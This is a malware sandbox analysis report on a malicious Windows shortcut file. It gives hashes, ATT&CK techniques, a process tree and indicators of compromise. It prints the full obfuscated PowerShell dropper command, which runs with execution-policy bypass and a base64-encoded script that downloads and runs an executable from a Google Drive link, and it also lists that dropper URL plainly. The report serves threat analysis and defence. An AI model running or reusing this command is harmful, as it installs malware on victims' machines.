7e614a8b38ce81dc274032850bdc9e6cc41b80d6c0eaddcf5b1989add198a96b

General

Target

ea037f858b767baef3eb6c9eff455c83_JaffaCakes118.lnk
Size

3KB
MD5

ea037f858b767baef3eb6c9eff455c83
SHA1

1b91f976a4458c8c315fae6b731eb80b615fd3a3
SHA256

7e614a8b38ce81dc274032850bdc9e6cc41b80d6c0eaddcf5b1989add198a96b
SHA512

012b033aff2a3a35d54f0be5b32b1ea7b5599cff09d9ba7a25be4f20ca697a81618d68defee97ef5dd4cf31a966802a8637a570e4e050a97441d3c622211b3dd

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=17arYmcfomWk-aZSZP9P1qjMl442HppCm

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	1684	powershell.exe
10	1684	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
6	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3372	powershell.exe
3372	powershell.exe
1684	powershell.exe
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 3372	1692	cmd.exe	83
PID 1692 wrote to memory of 3372	1692	cmd.exe	83
PID 3372 wrote to memory of 3052	3372	powershell.exe	84
PID 3372 wrote to memory of 3052	3372	powershell.exe	84
PID 3052 wrote to memory of 1684	3052	cmd.exe	85
PID 3052 wrote to memory of 1684	3052	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ea037f858b767baef3eb6c9eff455c83_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmD /c POwErshEll.exE -ex bypASS -EC IAALACAAKAAgACAACQBuAGUAdwAtAG8AQgBqAEUAYwBUAAkAIAAJAFMAWQBTAFQAZQBNAC4AbgBlAFQALgB3AEUAQgBDAGwASQBlAG4AVAAJACAACQApAC4ARABvAHcAbgBsAG8AQQBkAGYASQBMAEUAKAAgAAsAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxADcAYQByAFkAbQBjAGYAbwBtAFcAawAtAGEAWgBTAFoAUAA5AFAAMQBxAGoATQBsADQANAAyAEgAcABwAEMAbQAdICAAIAAgACwAIAAJAAkAHSAkAGUAbgB2ADoAVABFAG0AcABcAGMAYwBhAGcAdQBiAGIAdgB2AHYAYgBpAGQAZQAuAGUAeABlAB0gCQALACAAKQAgAAsAIAA7ACAACQAJAEkAbgBWAG8ASwBFAC0ASQBUAEUAbQAJAAsACQAdICQAZQBOAFYAOgBUAGUATQBQAFwAYwBjAGEAZwB1AGIAYgB2AHYAdgBiAGkAZABlAC4AZQB4AGUAHSA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c POwErshEll.exE -ex bypASS -EC IAALACAAKAAgACAACQBuAGUAdwAtAG8AQgBqAEUAYwBUAAkAIAAJAFMAWQBTAFQAZQBNAC4AbgBlAFQALgB3AEUAQgBDAGwASQBlAG4AVAAJACAACQApAC4ARABvAHcAbgBsAG8AQQBkAGYASQBMAEUAKAAgAAsAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxADcAYQByAFkAbQBjAGYAbwBtAFcAawAtAGEAWgBTAFoAUAA5AFAAMQBxAGoATQBsADQANAAyAEgAcABwAEMAbQAdICAAIAAgACwAIAAJAAkAHSAkAGUAbgB2ADoAVABFAG0AcABcAGMAYwBhAGcAdQBiAGIAdgB2AHYAYgBpAGQAZQAuAGUAeABlAB0gCQALACAAKQAgAAsAIAA7ACAACQAJAEkAbgBWAG8ASwBFAC0ASQBUAEUAbQAJAAsACQAdICQAZQBOAFYAOgBUAGUATQBQAFwAYwBjAGEAZwB1AGIAYgB2AHYAdgBiAGkAZABlAC4AZQB4AGUAHSA=
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      POwErshEll.exE -ex bypASS -EC IAALACAAKAAgACAACQBuAGUAdwAtAG8AQgBqAEUAYwBUAAkAIAAJAFMAWQBTAFQAZQBNAC4AbgBlAFQALgB3AEUAQgBDAGwASQBlAG4AVAAJACAACQApAC4ARABvAHcAbgBsAG8AQQBkAGYASQBMAEUAKAAgAAsAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAxADcAYQByAFkAbQBjAGYAbwBtAFcAawAtAGEAWgBTAFoAUAA5AFAAMQBxAGoATQBsADQANAAyAEgAcABwAEMAbQAdICAAIAAgACwAIAAJAAkAHSAkAGUAbgB2ADoAVABFAG0AcABcAGMAYwBhAGcAdQBiAGIAdgB2AHYAYgBpAGQAZQAuAGUAeABlAB0gCQALACAAKQAgAAsAIAA7ACAACQAJAEkAbgBWAG8ASwBFAC0ASQBUAEUAbQAJAAsACQAdICQAZQBOAFYAOgBUAGUATQBQAFwAYwBjAGEAZwB1AGIAYgB2AHYAdgBiAGkAZABlAC4AZQB4AGUAHSA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f50rpon0.cvy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3372-2-0x00007FFF10DE3000-0x00007FFF10DE5000-memory.dmp

Filesize
8KB

Download
memory/3372-3-0x0000023BCE980000-0x0000023BCE9A2000-memory.dmp

Filesize
136KB

Download
memory/3372-13-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/3372-14-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/3372-29-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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